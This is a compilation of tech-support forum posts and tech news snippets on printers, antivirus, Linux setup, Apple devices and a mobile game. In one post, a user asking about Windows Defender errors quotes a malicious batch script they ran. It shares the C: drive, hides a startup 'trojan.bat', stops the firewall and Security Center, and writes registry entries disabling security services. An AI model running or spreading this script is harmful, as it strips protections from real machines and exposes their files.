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Hi, I currently have 2 printers set up locally, a LaserJet and OKI. I have set the LaserJet as default. The OKI paper size needs to be set as 8.5 x 12 inches. I have set paper size in 'devices settings’, Advanced 'printing defaults' and 'preferences' in the general tab. However, when I want to print to the OKI from my application, I select the OKI from the dropdown. Which is correct. If I go into printer properties, advanced the paper size is still either A4 or letter. Unless I change this to the 8.5 x 12 it prints incorrectly. I know this doesn't seem a major issue, but I have a lot of users and I would like to be ab…

Cannot get into my "change startup" menu. Whenever I try, the Windows defender box comes up with an error? How can I resolve this? Continue reading...

I have Win 7 and MSE and I'm satisfied with it as my AntiVirus. (also have a few antimalwares). In my son's new computer there is Win 8. In the beginning he had Free Norton AntiVirus. Now that it will expire I wanted to suggest he downloads MSE, but I am confused because I read that you can't get it with Win 8. I only have one day so it is a little urgent. I read that you can get Win Defender instead, but it's not an antivirus. 1.Is there any way to install MSE in hiswin 8 computer now? Please instruct me about it. 2. I guess I should uninstall Norton first, and I remember uninstalling isn't enough, pls instruct me what to do... 3. And wh…

hi, 1- wat is difference exactly between internet security software and anti virus software , is there really big differnce between this two softwares? 2--can you delete Windows defender at all from windows 7 or 8.1? 3-wat is the best solution if the computer is infected with virus , first to try to delete it with antivirus software of malware and if anti virus software can not solve the problem try to install the windows from begin . if this the right steps to solve the problem the customer does not want to pay for this two acts . to try to work with this two steps wil take much longer time ,and the customer wil not want to pay you , wat i…

Hello Community, Anyone know an easy way to get rid of this damn thing? Continue reading...

M/S Essentials picked up this virus today when I did a full scan, the report said this virus was found and has been removed. My e-mail account was hacked last week and I assume this may have been responsible? Has any one come up against this virus before? Exploit: J/S AXpergle.A I downloaded the malware and virus removal tool from M/S this showed all clear and checked the M/W and Virus library also, but this one not listed. I am not sure where to look in my Windows operating systems files where to find this virus. Possibly the registry files? Any help would be welcome regards, Philip21 Continue reading...

I received a call that my computer needs fixing - at no charge. They said they were calling from Microsoft. The phone number is 206-203-5477. Continue reading...

Hi everybody , I have a Sony Vaio laptop and I am using Windows 8 Single Language (The Windows is OEM verison). Last night I restored my laptop to the original factory setting, after that I installed AVG free edition 2014 and I had first scan, AVG found a threat and moved it to virus vault and this is link of this threat C:/Windows/SysWOW64/mfc45.dll. The name of the threat detected is "Corrupted executable file". It was strange because I hadn't install any programs after I restored and AVG was the first program I install. So I restored again and I still saw the file mfc45.dll. So what 's wrong? Please tell me how to solve this problem. Continue reading...

Hello, i tried to enable IPv6 networking and after service network restart i seen these messages: Quote: FATAL: Error inserting ipv6 (/lib/modules/2.6.18-348.16.1.el5.028stab108.1/kernel/net/ipv6/ipv6.ko): Device or resource busy CRITICAL : [ipv6_test] Kernel is not compiled with IPv6 support Bringing up loopback interface: [ OK ] Bringing up interface eth0: FATAL: Error inserting ipv6 (/lib/modules/2.6.18-348.16.1.el5.028stab108.1/kernel/net/ipv6/ipv6.ko): Device or resource busy CRITICAL : [ipv6_test] Kernel is not compiled with IPv6 support [ OK ] ping6 ipv6.google.com returns: socket: Address family not supported by protocol Im amateur, can you please …

Everything you need to know to choose the best phone for you — Galaxy S5 or iPhone 5s! The Galaxy S5 has only just been announced while the iPhone 5s has been available since September 2013. However, until the iPhone 6 launches — presumably in September of 2014 — they'll be the two top phones on the market. They'll also be very different experiences, from hardware to software to services and back. Some people will know immediately which one they want. Others will be pouring over every review, watching every video, sweating every detail, second guessing every decision. If you're one of those, if you're on the fence, I'll keep this short and sweet — if you're stuck betwe…

Our friends at CrackBerry are celebrating their 7th birthday this week (as if they needed a reason to celebrate this week), and they're doing it by giving away a batch of cool stuff. Oh, and it's cool not-BlackBerry stuff. "What kind of cool not-BlackBerry stuff?" you ask? Continue reading...

As soon as the iPhone 5s was released last fall we ripped it apart and took a closer look, specifically at Touch ID. We had a hunch that Touch ID was paired to individual hardware even back then. An updated iOS security document issued by Apple looks to confirm our suspicions: While the iOS security document goes into detail about Secure Enclave, what it is, and how it works, the part we find most interesting is as follows - Each Secure Enclave is provisioned during fabrication with its own UID (Unique ID) that is not accessible to other parts of the system and is not known to Apple. When the device starts up, an ephemeral key is created, tangled with its UID, an…

Greg Pierce of Agile Tortoise fame joins Marc, Seth, and Rene to talk Drafts, Terminology, Phraseology, and Tally, URL schemes, x-callback, and surviving in the App Store. type="audio/mpeg"> Subscribe in iTunes Subscribe in RSS Download directly Follow on Twitter Show notes Drafts Terminology Phraseology Tally Guests Greg Pierce of Agile Tortoise Hosts Marc Edwards of Bjango Seth Clifford of Nickelfish Rene Ritchie of Mobile Nations Feedback Yell at us on Twitter or leave a comment below. Continue reading...

If you have a new Mac Pro, check Software Update for Mac Pro SMC Firmware Update 2.0, a change to the System Management Controller (SMC) firmware used in your shiny new computer. According to Apple, the new SMC 2.0 update "enables the Mac Pro to enter Power Nap without running the fan for most Power Nap activities, and addresses a rare issue where a low-speed USB device may not be detected at boot." Power Nap is a feature Apple first introduced in Mountain Lion, or OS X 10.8. It enables your Mac to establish a network connection even when it goes to sleep, so you can receive new mail messages, sync content through iCloud, download software updates and more. T…

in the control panel uninstall programs its telling me to wait till the other program is finished but i didnt request anything uninstall but bitdefender so i can install MSE Continue reading...

I can not get rid of Savingsbull IE optimizer. Its in my add ons. And the Remove option is greyed out. Please help. I think its a virus. Continue reading...

Apparently I have an adware called gs supporter 1.8 but i cant uninstall it from my computer. Anyone know how? Continue reading...

I get errors upon starting windows defender and firewall This error is entirely my fault, don't ask why but I ran a malicious code: @echo off Cls net share system=C:\ /unlimited cls Attrib +r +h C:\windows\startm~1\program\startup\trojan.bat Cls net stop SharedAccess net stop “Security Center” >>”%Temp%.kill.reg” ECHO REGEDIT4 >>”%Temp%.kill.reg” ECHO. >>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccess] >>”%Temp%.kill.reg” ECHO “Start”=dword:004 >>”%Temp%.kill.reg” ECHO. >>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceswuauserv] >>”%Temp%.kill.r…

I have a Dell Inspiron N5040 laptop with Windows 7 Professional Edition installed. I received the laptop new as a gift in 2011, and it didn't give me any problems until the past several months or so. At the recommendation of a friend (the closest to a computer expert I have ever met or spoken to) I have Avast antivirus, Malwarebytes malware protection, and Microsoft Security Essentials. I don't download anything that I don't know exactly where it's coming from (I have my Sims 3 games that I got from Origin but that's it), I don't play games online or participate in any surveys or anything that I was taught would potentially expose me to viruses and spyware. I don't have a…

Just wondering if there is any Linux based email server that is comparable to Microsoft exchange? I have been looking at a few options - Zarafa for example, but the thing that strikes me as a potential issue is the fact that most of them operate via the IMAP protocol which I have always found to be not that stable. Just wondering what other peoples thoughts are on the subject? Continue reading...

I tried to install the browser via Konqueror. How to install a browser in Manjari? Continue reading...

Kubuntu 12.04 I don't know how to install a program from a .tgz download. I downloaded CrashPlan_3.6.3_Linux.tgz. When I double click on it it opens a folder that has an INSTALL file with this info: To install CrashPlan run the installer in this directory: ./install.sh and follow the instructions. I clicked on /install.sh and a lengthy shell script file opened. I'm not familiar with script/dos/code/programming and I don't understand what to do with that. I hope I can get a simple step-by-step on how-to, and where, to install. Crashplan(free) - Backup for every file. www(dot)code42(dot)com/store/ Continue reading...

Hi, 1. for multiple intefaces in a VRF and regarding to performance v.s. resource usage, do i have to create a bridge per interface , or a single bridge for all interfaces in the VRF? 2. is it possible to connect the VRF without any bridge ? Thanks. Avi Continue reading...

Hello, i have to implement dhcp client application in my centos 6.5 embedded system. how to configure the kernel for dhcp client ? how to get dhcp event (callbacks?) such as new liecense/expiry etc.? Thanks Continue reading...

Adventure Time fans chewing through the Card Wars campaign will want to check out these hints for flooping their way to domination. Card Wars — Adventure Time allows iPhone and iPad players to enjoy all of the charm of the cartoon show while playing through a high fantasy strategic card game. Players take turns summoning creatures onto one of four territories, attacking with them in a reflex-driven mini-game, and defending against attackers from opposing territories. In between, players cast spells, activate, err, floop creature powers, build structures, and initiate character-specific super powers to take out their foe. It’s a linear single-player game with a level…